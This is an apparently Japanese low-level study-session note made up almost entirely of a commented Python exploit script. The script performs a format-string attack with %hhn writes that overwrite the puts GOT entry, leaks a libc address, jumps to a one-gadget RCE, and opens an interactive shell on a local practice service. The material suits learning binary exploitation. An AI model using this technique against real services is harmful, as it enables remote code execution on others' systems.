# 低レイヤ勉強会 1/25 ```a.py import socket, struct, time, codecs, telnetlib s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('localhost', 10004)) def interact(s): print('.----- interactive mode -----.') t = telnetlib.Telnet() t.sock = s t.interact() # valueを0x404018(GOTのputs)に書き込む書式文字列を作成する関数 def make(value): # 書式文字列 s = '%43$016lx' # 先頭は'%43$016lx'に固定 # 出力の長さ n = 16 #(64bit環境のアドレスの長さ) for i in range(8): # 追加で出力する文字数 t = (value&0xff)-n%256 # &は論理積 if t<=1: t += 256 s += '%{}c%{}$hhn'.format(t, 24+i) # hhmはchar型と認識させる # %(t)c%(24+i)$hnn の意 value >>= 8 # (value) = value >> 8(8bit右シフト、256倍の意) n += t s += '\0'*(128-len(s)) # EOF s = bytes(s, 'ascii') # s を ascii 文字としてエンコード for i in range(8): s += struct.pack('<Q', 0x404018+i) # (404018 ~ 40401F) # rot13 s = s.decode('latin-1') # latin-1 は文字コードの種類。laten-1のものをここで解読 s = codecs.decode(s, 'rot13') # rot13を解読 s = s.encode('latin-1') # latin-1に変換 return s main = 0x4011e1 s.sendall(make(main)+b'\n') time.sleep(1) d = s.recv(9999) start_main = int(d[:16], 16) # [:16]は有効桁数、隣の16は16進数形式の意 print('__libc_start_main:', hex(start_main)) #libc中のlibc_start_main関数のアドレスを求める。 rce = (start_main - 0x270b3 # __libc_start_mainのsoファイル内のアドレス + 0xe6af1) # One-gadget RCE s.sendall(make(rce)+b'\n') # Telnetが非ASCII文字を読み込むと落ちるので、ここで読み飛ばす time.sleep(1) s.recv(9999) interact(s) ```